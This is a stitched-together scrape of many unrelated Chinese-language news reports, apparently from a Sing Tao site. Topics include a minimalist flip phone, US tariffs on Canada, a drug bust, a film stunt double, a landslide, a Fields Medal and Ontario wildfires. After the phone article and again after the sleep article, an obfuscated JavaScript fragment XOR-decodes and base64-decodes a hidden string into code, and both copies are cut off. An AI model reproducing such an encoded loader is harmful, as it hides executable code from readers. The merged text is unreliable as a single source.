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近年愈来愈多人希望减少依赖智能手机及社交平台，美国品牌Light推出第四代产品Light Flip，改用90年代经典掀盖手机设计，结合极简操作理念，希望让手机重新回归通话、通讯及基本工具的角色，而非令人沉迷的娱乐装置。 Light Flip采用轻巧折叠式机身，打开后配备一块2.8寸黑白OLED屏幕，不支援触控操作，而是透过实体T9数字键盘及方向键控制系统。机身重约160克，折合后长约110毫米，可轻松放入口袋，并提供六款机身颜色选择。 虽然定位为极简手机，但硬件并不算落后。Light Flip配备5,000万像素感光元件，可拍摄1,200万像素相片，同时保留近年手机已逐渐消失的3.5毫米耳机插孔，另设USB-C充电接口，支援Nano SIM及eSIM双卡方案。 手机采用基于Android开发的LightOS作业系统，以私隐、减少干扰及专注使用为设计核心。介面采用全黑白显示，首页只有工具清单，没有色彩鲜艳的App图示、演算法推荐内容及无限滑动资讯流，希望降低用户长时间使用手机的意欲。 Light表示，掀盖设计本身亦是重要一环。当用户合上手机时，代表真正结束一次使用，不设外屏幕显示通知，只保留一枚LED提示灯提醒来电及短讯，避免用户频繁拿起手机查看通知。   功能方面，LightOS仍提供日常所需工具，包括地图、通讯等基本应用。今年品牌亦首次推出软件开发工具（SDK），让第三方开发者为Light手机制作新工具，目前已有约2,000名开发者参与，推出节拍器、字典、电子书阅读器、音乐串流，以及不同语言T9键盘等功能。所有程式目前均免费提供，用户可自愿向开发者打赏，并非传统应用程式商店的收费模式。 Light Flip现已接受预订，美国版本可配合每月39美元的两年电讯合约，另提供无锁版，售价299美元（约2,350港元），支援国际运送，预计2027年4月开始出货。 图片：The Light Phone Inc. T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) ...

【星岛综合报道】美国总统特朗普宣布拟向部分加拿大货品加征50%关税后，亚省企业忧虑对美出口及营商前景再添不明朗因素。由酿酒业至体育慈善机构均担心，若新措施落实，不但企业成本上升，消费者亦需承担更高价格。 特朗普周一（20日）签署3项行政命令，计划由8月19日起向加拿大多项货品征收50%关税，涵盖酒类、乳制品、汽车及冰球装备等产品。白宫表示，有关措施是回应加拿大对美国酒类、乳制品及汽车采取“报复及歧视”措施。 与过往不同，今次关税亦将涵盖不少原本受《加美墨协定》（CUSMA）保障的产品。 美国贸易代表办公室估计，新措施将影响约280亿加元的加拿大出口产品，相当于加拿大出口美国货品的约5%，亦约占加拿大本地生产总值（GDP）的0.8%。 能源、钾肥、关键矿物、水产品，以及已受《232条款》关税规管的产品则可获豁免。   “原价40美元的酒可能升至50美元” 位于亚省Diamond Valley的酒厂Eau Claire Distillery一直出口产品至美国15个州。 创办人兼行政总裁David Farran表示，公司过去一年一直为新的贸易壁垒作准备，但对美加两国关系恶化仍感到失望。 他说：“两个友好国家发生贸易纠纷，整个行业却成为夹心人，令人失望。” 他指出，如关税落实，美国消费者将首当其冲。“一瓶售价40美元的酒，可能会变成50美元。” 酒厂忧失美国市场　消费者将承担成本 虽然亚省至今仍容许美国酒类产品于省内酒舖销售，没有像大部分省份般禁止美国酒入口，但Farran认为，整场贸易争端已令两国关系受损。 他表示，亚省决定维持市场开放属正确做法，而其他大部分省份禁止美国酒入口，无疑令华府更加不满。 不过，他仍希望双方最终回到《加美墨协定》的自由贸易框架，相信未来30天的措施主要属谈判策略。 酒业界：内部壁垒仍未解决 亚省精酿酒厂协会（Alberta Craft Distillers Association）主席及True Wild Distilling公司创办人Bryce Parsons表示，最新关税令原本已受各省酒类贸易限制困扰的酒业雪上加霜。 他指出，加拿大一方面批评美国拟征收50%关税，但另一方面，国内各省之间的酒类贸易限制至今仍未完全解除，同样令业界感到困扰。 他说：“我们还未解决自己国家的问题。” Parsons表示，一旦失去美国市场，不少小型酒厂可能需要重新制定长远经营策略。 他说：“基本上可以向美国市场说再见。” 他指出，若失去美国市场，不少中小型酒厂将需要重新检讨长远发展策略。惟开拓其他海外市场并非短时间内可以完成，由建立销售渠道到完成布局，往往需要约两年时间，不可能短期内完成。 关税影响亦不仅限于出口商。 冰球用品恐加价　基层家庭受影响  虽然亚省能源产业大致不受新关税影响，但不少依赖相关产品的机构亦开始担心后续冲击。 卡加利KidSport及Calgary Flames Sports Bank行政总裁Kevin Webster表示，若冰球装备价格因关税上升，将令原本已面对经济压力的家庭更难负担子女参与体育活动。 他表示，KidSport去年协助超过1.4万名儿童支付注册费及提供运动装备，而需求仍持续增加。他说：“如果装备价格上升，令家庭更难让孩子参与运动，这将令人非常担心。” Webster表示，机构一直依赖运动用品制造商、零售商及企业捐赠，如企业受关税影响，亦会削弱支援社区能力。   戴思敏反对报复　冀外交化解争端 亚省省长戴思敏出席爱德华王子岛省长会议后表示，未来29天最重要是透过外交谈判达成协议，而非进一步升级贸易战。 她预期，8月19日限期前谈判将会大幅加快。她希望双方最终能重新签署《加美墨协定》，维持加美两国免关税贸易关系。 她指出，加拿大除需处理最新关税外，亦须一并解决钢铝、汽车及软木木材等长期贸易争议。 她指出，目前约97%的亚省出口货品仍可免关税进入美国，希望最终提升至100%。 对于安省省长福特提出加拿大应考虑更强硬报复措施，戴思敏则直言：“这不会发生。” 亚省运输及经济走廊厅长Devin Dreeshen表示，事件再次证明亚省必须逐步拓展美国以外市场，但同时仍要维持与最大贸易伙伴美国的合作关系。 他形容：“就像投资组合一样，不能把所有鸡蛋放在同一个篮子里。” 专家：特朗普藉关税增加谈判筹码 卡加利大学公共政策学院国际政策主任Carlo Dade则认为，特朗普今次宣布关税，主要属谈判施压策略。 他指出，美国正与加拿大及墨西哥商讨更新北美贸易协议，同时亦寻求建立新的长期关税制度，因此需要增加谈判筹码。 Dade表示，今次关税是根据1930年《美国关税法》第338条实施，过去从未有美国总统引用有关权力。 他认为，美方一方面希望迫使加拿大作出更多让步，另一方面亦藉加拿大向其他正与美国谈判的国家发出讯息。 他表示，美国政府亦希望在8月19日限期前制造加拿大国内的不安与分歧，削弱加拿大谈判代表的议价能力，迫使加拿大更快接受对美国有利的协议。 虽然亚省因能源产品获豁免而较安省及魁省受影响较小，但部分制造业，包括出口拖拉机零件等产品的企业，仍可能受到冲击。 他又指出，即使亚省及沙省未有下架美国酒类产品，最终仍未能避免美方关税措施，显示即使采取较友善立场，也未必能换来特殊待遇。 （资料图：加通社，美联社）T15

【星岛综合报道】加拿大及美国多个执法及边境部门联手展开代号“Project Bay”跨境扫毒行动，成功检获接近1.7公吨非法毒品，估计黑市总值超过1.39亿加元，警方形容是安省历来最大宗单一贩毒调查之一。 安省省警周四（23日）公布，今次行动针对涉及加拿大与美国边境的毒品入口及贩运网络。 调查始于2025年1月，当时温莎警方展开贩毒调查；一个月后，加拿大边境服务局（CBSA）加入调查，协助追查跨境贩毒集团。 警方表示，调查发现犯罪集团涉嫌利用商业货车运输系统作掩饰，透过合法物流网络将毒品偷运过境。 调查人员相信，集团负责安排货车司机明知情况下，把非法毒品混入正常货运供应链运送。 今次行动亦获多个执法部门协助，包括美国国土安全调查局及美国缉毒局负责国际调查工作，而多伦多警队及皮尔区警方则提供行动及调查支援。 警方于6月25日根据18张搜查令，搜查温莎、Corunna、LaSalle、宾顿及Kleinburg多处住宅及商业场所。 其后于7月14日，再根据两张搜查令搜查万锦市及Caledon地点；7月20日亦于宾顿执行另外两张搜查令。 警方表示，行动期间检获接近1.7公吨非法毒品，估计黑市价值超过1.39亿加元。 警方其后公布涉案人士所面对的相关控罪，案件仍在进一步调查中。   （图：安省省警）T15  

 【星岛综合报道】由名导克里斯多夫诺兰（Christopher Nolan）执导的《奥德赛》是当前最红的电影，不只拥有史诗级的制作规模，更集结了众多人气演员。被影迷津津乐道的男主角麦特戴蒙（Matt Damon）的“最强二头肌”，竟然很多场景并非来自本尊，而是出自一位加拿大卑诗省女特技演员道尔顿（Devyn Dalton，下图）。 话说麦特戴蒙日前接受节目《Happy Sad Confused》主持人Josh Horowitz访问。Horowitz谈到戴蒙在《奥德赛》中健壮的身材，称赞他拥有“我看过除了海姆斯沃斯兄弟电影之外，最令人惊艳的二头肌”。戴蒙随即透露，电影中至少一场重要戏份的“麒麟臂”其实并不完全属于自己，而是属于卑诗省温哥华、身高仅4英尺6英寸（约137公分）的道尔顿。她在片中担任麦特戴蒙饰演的希腊英雄奥德修斯之替身。 戴蒙解释，诺兰在拍摄拉伊斯特律戈涅斯（Laestrygonians）巨人族相关场景时，运用了电影常见的“强制透视”（forced perspective）技术，透过安排不同身高的演员，制造角色身形极度悬殊的视觉效果。剧组找来身高约7英尺（约213公分）的特技演员饰演巨人，同时安排身高不到5英尺（约152公分）的演员完成另一侧的动作戏。 “我的替身是一名女性，一位女特技演员，她有我见过最强壮的手臂。”戴蒙说。 这名女特技演员正是道尔顿。她接受加拿大广播公司访问时表示，朋友把戴蒙的访问片段传给她后，她一度“不敢相信自己的眼睛和耳朵”。 “我的下巴都快掉下来了，我只觉得这真的太酷了。”现年34岁的道尔顿说。 道尔顿也在社群媒体上回应这段爆红影片，写道：“能替麦特戴蒙担任替身是我的荣幸。”她并分享自己在苏格兰高地拍摄《奥德赛》的花絮，感谢戴蒙及剧组让她参与这场“冒险”。           在 Instagram 查看这则贴文                       DEVYN DALTON（@devyn.dalton）分享的贴文 事实上，道尔顿并非临时被选中的替身演员。她9岁便开始表演，之后多年接受舞蹈、戏剧、运动及特技训练，至今已累积超过80项演艺及特技相关作品经历，工作范围包括演员、配音员、动作捕捉演员、舞者及特技演员。她曾参与《Once Upon a Time》、《The Last of Us》及《Percy Jackson and the Olympians》等作品。 她认为，过去每一份工作都可能成为下一次机会的敲门砖。“基本上，你上一份工作就是下一份工作的试镜。” 为了在《奥德赛》中呈现出“缩小版”奥德修斯的效果，剧组动用了大批发型、化妆及服装工作人员，将道尔顿打造成与戴蒙相似的造型。她在穿上希腊战士盔甲前，也特别加强剑术训练。 “我全年都让自己保持在准备状态。”道尔顿说，“对特技演员来说，没有工作的时候，就是训练的时候。” 她表示，自己能获得今天的机会，也要归功于过去为女性特技演员开路的前辈。她希望自己的经历能为年轻女性带来鼓励，尤其是在演艺产业仍存在性别及身材形象压力的情况下。 “我一直都是运动型的体格。能够拥抱这样的身体特质，并因为自己强壮、有力量而受到肯定，我觉得这是一个非常重要的讯息。” 戴蒙的访问片段走红后，道尔顿收到大量支持，尤其来自年轻女性及女孩。她表示，若自己的故事能够成为他人的启发，帮助年轻人继续追逐梦想，便是最有意义的事。 虽然道尔顿为部分场景贡献了自己的手臂，但戴蒙本人同样为奥德修斯一角进行了严格的身体准备。他接受《People》杂志访问时透露，为了演出角色，他将体重恢复至高中时期的167磅（约76公斤），并透过调整饮食及生活方式，让自己达到更佳的体能状态。 《奥德赛》改编自古希腊诗人荷马的史诗作品，故事讲述希腊英雄奥德修斯在特洛伊战争结束后，历经长达10年的艰险旅程，试图返回故乡伊萨卡。电影由戴蒙饰演奥德修斯，安海瑟薇饰演其妻子佩内洛普，汤姆霍兰德饰演儿子忒勒马科斯，并集结Zendaya、罗伯特・帕丁森、莎莉・赛隆、露琵塔・尼咏欧等众多知名演员。 v01

眼大睇过龙的街坊店 在西湾河住了二十年，兴民街的小小邮政局也不知去过多少次，却眼大睇过龙，不知道有一家老牌面厂隐身其中，直至搬离东区二十多年后，经好友介绍在这条短街一家车房修理老旧残车，才见到“春记食品制面厂”的窄窄的小舖。 依稀记得，多年前这位居于鲤景湾的好友已推介过春记，但当时已搬往跑马地，路途颇远，没记在心上，直至去年开始在那里修车，才发现春记就在车房隔几个舖位之处，早前再往修车，便上门跟老板打个招呼。 世事可真奇妙。春记上下一早认识我，事关店内整天播放网台D100的节目，而我病发后将“实时记录”上载到Patreon，小部分内容则在脸书分享，“春记”也不时留言鼓励我加油。老板樊容强和容坤两兄弟对我的点滴，了如指掌，所以我说是去打招呼。掀开门前透明胶门帘，半只脚踏进去，店内各人立即起哄。 对我来说，眼前的景象也是奇景，店内五个人都在密密手包云吞和水饺（见图）。适逢这天是星期六，原来每逢周末面厂停止制面改为包水饺云吞，而云吞水饺亦只在这天有售，卖完即止，即日包即日卖，新鲜程度可想而知。云吞固然用肥瘦猪肉和虾，而水饺则再加木耳和笋丝，事实上当日拿回家立即渌几只云吞和水饺吃，相当不俗。 当日在店内除了见到有全蛋面，还有“水面”。“水面”价格最廉宜，皆因只用面粉、水、枧，供应给酒楼食肆和小贩做炒面。 春记开业于一九六五年，原是附近西湾河街的山寨厂，七十年代尾搬至现址，门面不起眼，怪不得我当年错过了此店。容坤兄说，面条用高筋面粉搓的，因主要做街坊生意，要做到亲民价便只能用鸡蛋。虽然如此，却因除了有虾子之外，亦用上大地鱼汤，所以面条和煮面的水饮起来味道亦不错。 作者梁家权：资深新闻工作者。饮食文化著作包括《寻找失落的菠萝油》。

本月17日上午9时许，重庆彭水县汉葭街道发生大型山泥倾泻灾害。连日来救援人员展开全力搜救，截至31日凌晨，当局确认51人遇难，仍有10人失联。 落石体积大数量多 救援难度极大 彭水县通报，截至目前，陆上灾害现场已经全部搜寻完毕，将尽快恢复乌江三桥等中断交通及相关地区的生活秩序。乌江水域清理淤泥和搜寻工作仍在进行。 现场救援工作仍在紧张有序地进行中。央视   在本次搜救中，26日23时52分，救援人员在C区作业面发现了失联的客运中巴车残骸。另外，央视报道指，灾情发生后，当地调度部署，多支专业救援队伍驰援彭水，组建现场抢险救援指挥部，连续多日争分夺秒开展不间断全域搜救。 不过因现场崩塌体方量大、坠落巨石体积大数量多、现场作业面狭小、边坡稳定性差，救援难度特别大，已调集多方专业力量，投入大型工程机械、生命探测设备、无人机等专业装备，在严防发生次生灾害和确保救援人员安全的情况下，采用定向爆破、逐层推进的方式全力开展救援。目前，已进入深度救援阶段，经多轮生命探测和搜寻，已无生命迹像。 目前，搜寻工作仍在继续推进，已组织专业人员对周边影响区域安全进行了科学检测。

内地动漫界爆出令人极度作呕低俗行为！第39届广州萤火虫动漫游戏嘉年华于7月17日至20日举行期间，多名女动漫角色扮演者竟在展馆场外公开摆摊，以每杯50元人民币（约54港元）的价格，售卖自称“泡脚柠檬水/柠檬茶”的饮品。她们在众人围观下，直接将双脚浸入装有柠檬茶或水的水桶中，随后再分装出售。更令人震惊的是，现场居然有人排队抢购，甚至出现躺在地上用嘴接饮、当众舔脚等极其夸张的低俗行径，影片曝光后随即引来全网炮轰。 模仿美国漫展低俗套路 据内地媒体《风芒新闻》报道，现场目击者透露，涉事女Coser当时在场外自设摊位，虽然纸牌上写有“纯属娱乐”字眼，但依然吸引了大批猎奇者当真排队购买。多段现场影片在网上疯传，显示有狂热粉丝为了喝到“女神洗脚水”，不惜躺在地上张口任由饮料滴下，甚至出现舔脚等毫无尊严的行为，吸引大批群众围观拍摄。 穗漫展女Coser售“洗脚水”遭驱逐，主办方禁低俗摊位。   穗漫展女Coser售“洗脚水”遭驱逐，主办方禁低俗摊位。   穗漫展女Coser售“洗脚水”遭驱逐，主办方禁低俗摊位。   穗漫展女Coser售“洗脚水”遭驱逐，主办方禁低俗摊位。   穗漫展女Coser售“洗脚水”遭驱逐，主办方禁低俗摊位。   穗漫展女Coser售“洗脚水”遭驱逐，主办方禁低俗摊位。   穗漫展女Coser售“洗脚水”遭驱逐，主办方禁低俗摊位。   穗漫展女Coser售“洗脚水”遭驱逐，主办方禁低俗摊位。   穗漫展女Coser售“洗脚水”遭驱逐，主办方禁低俗摊位。   穗漫展女Coser售“洗脚水”遭驱逐，主办方禁低俗摊位。   穗漫展女Coser售“洗脚水”遭驱逐，主办方禁低俗摊位。   据悉，此类玩法是模仿今年5月在美国加州举行的“FanimeCon”漫展中的同类低俗套路。 网民痛斥 主办方严正声明：零容忍驱逐 事件在社交平台引爆舆论海啸。广大网民及动漫爱好者（二次元圈子）普遍痛斥此举“恶俗、恶心至极”，认为相关行为已远远超越了单纯“抽象玩梗”的范畴，而是无下限的博眼球炒作，严重抹黑及损害了动漫群体的正面形象。 对此，萤火虫漫展主办方随即发表严正声明，强调相关摊位属于场外个人行为，与官方无关。主办方在接获举报后已第一时间核查，并将涉事Coser即时驱逐出场，重申对任何低俗猎奇行为实行“零容忍”，未来将进一步加强场内外的巡查与管控。 

“成功人士睡眠时间”向来是大众感兴趣的话题。许多商界领袖、政坛领袖以至天王天后，每日似乎只需极少时间睡眠，依然能保持敏锐与活力。在医学上，这群每晚睡眠时间少于6小时的人被称为“短眠精英”（Elite sleepers）。研究指出，他们不仅能保持高效工作，甚至更不易患上认知障碍症。 短眠精英“瞓得少等于越成功”? 事实上，不少政商界与演艺界领袖都是典型代表，他们的作息表令人惊叹。美国总统特朗普（Donald Trump）每日睡3-4小时，通常凌晨1点入睡，清晨 4 点便起床，将剩下的所有时间几乎全奉献给工作；在时装界，设计师Tom Ford同样每日仅睡3小时；“地狱厨神”Gordon Ramsay，由于手上节目众多并要管理多间餐厅，他每日平均仅睡3小时，凌晨2点入睡，早上5点就起床；美国乐坛天后Taylor Swift亦是靠极度自律走向巅峰，她每天大约睡5.5小时，通常凌晨1点半入睡，早上7点起床。她将绝大部分时间付诸演艺事业，平均一天要花2小时彩排、3小时演出，接着还会花1个小时亲自处理社交媒体。 顶尖富豪“平衡派”睡眠模式 不过，近年许多顶尖富豪开始意识到，一味熬夜未必是最好投资。Tesla 联合创办人Elon Musk过去以一天只睡4小时，如今他已将睡眠时间增加到6小时。他曾公开表示“熬夜是没用的”，如果睡眠时数低于6小时，虽然身体能保持清醒，但精神敏锐度会明显下降，能完成的工作反而更少。同样每天睡6小时的还有美国前总统奥巴马，除了睡觉，他会在睡前花半小时阅读报刊或写作，并且平均每天会花3小时陪伴家人。 微软创办人盖兹（Bill Gates）曾经也是不折不扣的工作狂，过去推崇不放假、认为睡觉是懒惰象征的作息，但他其后在文章中坦承，自己现在每天至少有7个小时的睡眠时间。作为“晨型人”代表的苹果公司（AAPL）行政总裁库克（Tim Cook）同样提倡7小时睡眠，他过着极度自律的生活，每天晚上9点半便上床睡觉，清晨4点半起床开始一天的工作。    作为“晨型人”代表的苹果公司（AAPL）行政总裁库克（Tim Cook）同样提倡7小时睡眠，他过着极度自律的生活，每天晚上9点半便上床睡觉，清晨4点半起床开始一天的工作。法新社 微软创办人盖兹（Bill Gates）曾经也是不折不扣的工作狂，过去推崇不放假、认为睡觉是懒惰象征的作息，但他其后在文章中坦承，自己现在每天至少有7个小时的睡眠时间。REUTERS Tesla 联合创办人Elon Musk过去以一天只睡4小时，如今他已将睡眠时间增加到6小时。法新社 “地狱厨神”Gordon Ramsay，由于手上节目众多并要管理多间餐厅，他每日平均仅睡3小时，凌晨2点入睡，早上5点就起床。IG@gordongram 美国乐坛天后Taylor Swift亦是靠极度自律走向巅峰，她每天大约睡5.5小时，通常凌晨1点半入睡，早上7点起床。IG@ taylorswift 普通人失眠恐增心脏病、中风风险 然而，并非人人都是天生的“短眠精英”或拥有高效基因。在现实生活中，全球约有三分之一的成年人正饱受失眠折磨。长期失眠不仅令人精神不振，还会大幅增加患上抑郁症、焦虑症的风险，甚至诱发心脏病、中风和肥胖等严重健康问题。 要解决失眠问题，临床上可透过药物治疗，或进行针对失眠的认知行为治疗（CBT-I）。对于一般市民而言，日常亦可透过调整生活习惯来改善睡眠质素。例如，维持规律的作息时间、在睡前 1 小时远离手机及电子产品、睡前8至10小时避免摄取咖啡因，并确保睡眠环境黑暗、安静和凉爽。同时，日间进行规律运动、睡前避免吃大餐以防胃部不适，均对睡眠大有帮助。此外，吸烟和饮酒亦会严重破坏睡眠周期，建议在睡前1至2小时内避免接触酒精和尼古丁。最重要的是，入睡时放松心情，切勿强迫自己入睡。 高质睡眠对人体益处 增强免疫力、减少生病频率 睡眠医学研究指出，充足且高质素的睡眠是维持身体机能的基石。足够的睡眠能显著增强免疫力、减少生病频率，并有助维持健康体重、纾缓压力、改善情绪、促进心脏健康和新陈代谢。此外，它还能有效降低患上二型糖尿病、心脏病、中风及高血压等慢性疾病的风险，并在日间提升记忆力与专注力。要达到上述的健康益处，关键在于获得“高质素”的睡眠。如果出现以下情况，即使睡眠时数足够，仍属于低质素睡眠：包括入睡困难、半夜频频醒来，或是睡了足够时间后醒来依然感到疲倦。这代表身体并未得到真正的休息。 资料来源：综合资料 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var...

【消费情报】今个礼拜本地超市优惠传单已经出炉。 以下为安省优惠清单，在全国范围可能有部分货品的价格略有不同，以官网标价为准。 详情请浏览星岛网与事事如意超市折扣页面。 

【星岛综合报道】多伦多蓝鸟（Blue Jays）本季成绩令人失望，季前交易截止日逼近，右投高斯曼（Kevin Gausman）坦言，周二（21日）对阵坦帕湾光芒（Tampa Bay Rays）的先发或是他在罗渣士中心（Rogers Centre）作为蓝鸟一员的最后亮相，心情复杂。 妻子Taylor意外飞抵多伦多，令高斯曼大感惊喜。赛后两人携手走上球场，坐在左外野围栏旁静静回忆过去五年在多伦多的点点滴滴。高斯曼事后告诉Sportsnet：“我其实不太想走上球场，但她说我们去一下吧，现在我很庆幸我们那样做了。我真的很希望能在下周末再回到这里，哪怕只是最后一次。” 高斯曼于2021年签下1.1亿美元合约加盟蓝鸟，合约将于本季后到期。五年间他随队三度打入季后赛，入选全明星阵容，去年更与球队打入世界大赛（World Series）。尽管如此，球队在46胜56负的成绩下，晋级机会已跌至8.9%的季度新低。 高斯曼对本季的崩溃深感困惑，并坦承个人表现亦未尽理想。他说：“我也是其中一部分，过去一个月我表现得不好，如果这真的是终结，我是否想要再争取一个冠军戒指？但想到家人，去一个陌生的地方，坦白说，家庭生活方面任何地方都比不上这里。” 高斯曼持有一份列明八支球队的“免转让名单”，消息人士透露涉及辛辛那提红人（Cincinnati Reds）、密尔瓦基酿酒人（Milwaukee Brewers）、底特律老虎（Detroit Tigers）、西雅图水手（Seattle Mariners）、匹兹堡海盗（Pittsburgh Pirates）、运动家（Athletics）、芝加哥白袜（Chicago White Sox）及纽约大都会（New York Mets）。 他坦言，今年这份名单更难取舍，因为不少球队亦正在争夺季后赛席位。 （图：加通社资料图片）T08

2026年国际数学家大会（ICM）官方周四（23日）揭晓，来自深圳的中国数学家邓煜荣获被誉为“数学界诺贝尔奖”的菲尔兹奖（Fields Medal）。37岁的邓煜1989年生，广东深圳人，现任芝加哥大学数学系教授。 首次有两名中国籍数学家同时获奖 1991年出生于中国广西桂林的王虹同样获颁菲尔兹奖，她现任法国高等科学研究所（IHES）终身教授及纽约大学科朗数学科学研究所教授。 结果揭晓后，法国总统马克龙亲自致电王虹向她表达祝贺。马克龙亦在社交平台X发文写道：“恭喜王虹，菲尔兹奖得主！”他指出王虹曾在法国高校接受教育，现为IHES教授，因此她“体现了我们研究和教育的卓越水平”。 现场影片显示，马克龙称赞王虹“做得好”，并表示他与所有法国学者均对此感到“无比自豪和兴奋”。他补充指出，王虹获奖“对年轻女孩来说，是一个非常棒的榜样”。 这也是中国数学家首次在同一届国际数学家大会上同时获得两枚菲尔兹奖，实现了中国数学发展的历史性突破。 菲尔兹奖是国际数学联盟设立的著名奖项，专门用于奖励40岁以下年轻数学家，每4年颁发一次，每次获奖者不超过4人。由于其极高的学术声誉和严格的评选标准，菲尔兹奖被誉为数学领域“诺贝尔奖”。  

【星岛综合报道】多伦多周三（22日）短暂低温后，气温随即回升，加拿大环境部（Environment Canada）预测周四（23日）至周五（24日）天气晴朗，周末则有雨水。 周四最高气温26度，加上湿度体感接近30度；周五最高气温升至27度，体感同样约30度。气象专家Bill Coulter表示：“气温在周三低于正常后今日回升至季节性水平，周四及周五天色明朗，午后温暖，湿度较低。” 周末气温继续维持在约28至29度，惟天气较不稳定，周六（25日）料晴雨交替，周日（26日）多云且有更多雨水。 上周笼罩大多伦多地区的山火烟霾至今未有复现。Bill Coulter表示：“今次浓烟及霾雾对大多地区的侵袭至少暂时已告终，我们将继续监察北安省山火情况及风向，以评估未来对本地的影响。” （图：加通社资料图片）T08

内地近日发生一宗引发广泛争议的职场风波。浙江杭州一名外卖配送员向传媒申诉，指自己仅与女同事“开玩笑”却遭对方殴打，事后更被公司单方面解雇，认为遭受不公对待并已申请劳动仲裁。然而，随着警方调解书及涉事企业的内部通报曝光，事件迎来大反转。官方文件证实，该男子长期对女同事进行言语性骚扰及“造黄谣”才是冲突的导火线，且其在事后多次扰乱公司营运，终被依法辞退。 屡以低俗言语揣测私生活 据内地传媒“1818黄金眼”报道，涉事配送员阮某隶属“叮咚买菜”旗下站点。阮某自称当日只不过是调侃姜姓女同事的外套“肯定臭”，却遭对方情绪失控掌掴及以扫描器击打，自己全程谦让。 惟辖区派出所出具的治安调解协议书却显示截然不同的真相。协议书指出，本月18日中午，阮某在姜某脱下外套时，出言调侃对方“是否出去鬼混”，并长期以低俗言语恶意揣测其私生活。姜某在长期忍受言语骚扰下情绪崩溃，率先动手击打男方面部及肩膀，阮某随即还手。经公安调解，双方同意互不追究责任，姜某现场赔付2,000元人民币作医疗补偿。 和解后屡回公司滋事 企业依规辞退 冲突调解后，事件并未平息。涉事企业通报补充，阮某事后多次返回站点大吵大闹，严重扰乱日常分拣及配送工作秩序，公安机关为此须多次出警处置。公司强调，辞退阮某并非因为他“被打”，而是基于他长期对同事实施言语骚扰，且事后反复滋事严重违反员工管理规定，故将其退回劳务供应商。 目前阮某已正式提交劳动仲裁申请。内地法律界人士指出，“开玩笑”的界线取决于接收方的感受，未经允许恶意揣测他人私生活已构成职场骚扰。虽然女方动武存在过错，但已承担相应民事赔偿；而男方持续滋事属严重违规，企业依规予以解雇具备合理法律理据。

【星岛综合报道】安省自然资源厅昨日（22日）指出，安省北部仍有逾180场山火在燃烧。当中，有12处活跃山火发生于过去24小时之内。 上星期的山火横扫北部一个原住民社区。最新的航拍相片显示，Collins原住民部落大片土地焦黑一片，原本有建筑物的地方，目前只剩瓦砾。居民指出，当时省府未有协助，居民自行逃离。 另一个原住民社区Whitewater Lake也受山火影响破坏严重。迄今为止，因森林火灾而撤离的13个社区中，有12个是原住民社区。 原住民领袖批评，安省政府任由灾区社区自生自灭，于疏散安排方面未有及时支援，要求就省府应对山火的表现展开公开聆讯。 省长福特本星期较早时指出，省府已经尽一切努力应对山火，省方亦指出部分火势蔓延极快，发现时已经迫近原住民社区。福特亦要求疏散的居民暂时不要返屋企。 安省省警周三表示，任何人在被勒令封闭的区域内被发现，都可能面临880元的罚款；此外，如果违反道路标志，还将面临 110元的罚款和驾照扣3分。 （图：加通社）T15

美国总统特朗普5月访华后，中美两国关系向好，各领域合作更加紧密。今日（23日），中国警方在上海浦东国际机场将一名2004年在美涉嫌性侵幼女、枪杀妻子等严重暴力犯罪的美籍红通逃犯遣返美方。官媒新华社称，这是两国执法部门又一合作成果。 2004年，该美籍逃犯因涉嫌严重暴力犯罪被美国执法部门通缉。2005年8月，国际刑警组织对其发布红色通报。随后应美方请求，中国公安机关开展缜密侦查，最终将其抓获。 报道称，为落实好中美两国元首重要共识，双方执法部门近期在禁毒、非法移民遣返、追逃、打击电信网络诈骗、反洗钱等领域开展了系列务实合作。中国警方指将秉持相互尊重、专业务实理念，深化与各国警方务实合作，依法严厉打击各类跨国犯罪。

【星岛综合报道】加拿大各省及地区首长周四（23日）与总理卡尼举行会议前表示，美国总统特朗普近日再度升级关税措施，令局势出现“新的迫切性”，希望联邦政府清楚交代未来29日的对美谈判策略。 安省省长福特会前表示，希望听到总理提出强而有力的方案。他说，虽然不期望所有细节都已完全敲定，但希望看到真正的“加拿大团队”（Team Canada）方式共同应对。 福特批评，特朗普几乎每天改变立场，令谈判极为困难。他说：“总理今天可能还与特朗普并肩合作，转眼之间特朗普便会反过来攻击他。”福特表示，加拿大必须保持团结，作为一个主权国家，要全力捍卫自身利益。    对于各省是否应采取报复措施存在不同意见，福特认为，各省只是面对不同经济需要，并不代表彼此不团结。 相关新闻： 卡尼将赴爱德华王子岛晤各省省长　美方新关税或成讨论焦点 相关新闻： 各省省长开会强调团结　共商反制特朗普加征50%关税措施 相关新闻：美宣布向加国大部分商品加征50%关税　30日后生效 亚省省长戴思敏（Danielle Smith）则表示，加拿大仍有约一个月时间进一步完善谈判策略。沙省省长莫伊（Scott Moe）亦表示乐观，相信有机会于短期内达成协议，并借此重新检讨及更新《加美墨协定》（CUSMA）。不过，他同时承认，自己虽然抱持信心，但未敢完全肯定最终能够成功。 各省首长表示，最理想情况是达成涵盖所有受关税影响行业的全面协议，包括软木材、钢铁、铝业、制造业及汽车工业。 福特重申，加拿大不能再一味向特朗普让步。他说：“在安省立场而言，一切选项都放在桌面上。我们不能再不断向特朗普退让。”“谈判必须建立在实力之上，而不是软弱，尤其是面对特朗普。” 戴思敏指出，目前亚省约97%的对美贸易仍未受关税影响，但她希望最终能达至100%，亦希望全国所有省份都能完全免受关税影响。 加拿大—美国贸易部长勒布朗（Dominic LeBlanc，上图）周四亦陪同卡尼出席会议。其办公室证实，勒布朗本周二曾与美国贸易代表葛里尔（Jamieson Greer）通话，当时卡尼亦曾与特朗普讨论未来数周加快双边贸易谈判。 联邦政府表示，期待双方继续磋商，解决尚未完成的议题，为两国人民带来共同利益。 消息指出，加拿大首席对美贸易谈判代表Janice Charette及驻美大使Mark Wiseman正研究可向美方施压的方案，作为可能反制措施之一，包括针对美国生活成本较高、以及今年秋季国会选情激烈的地区。 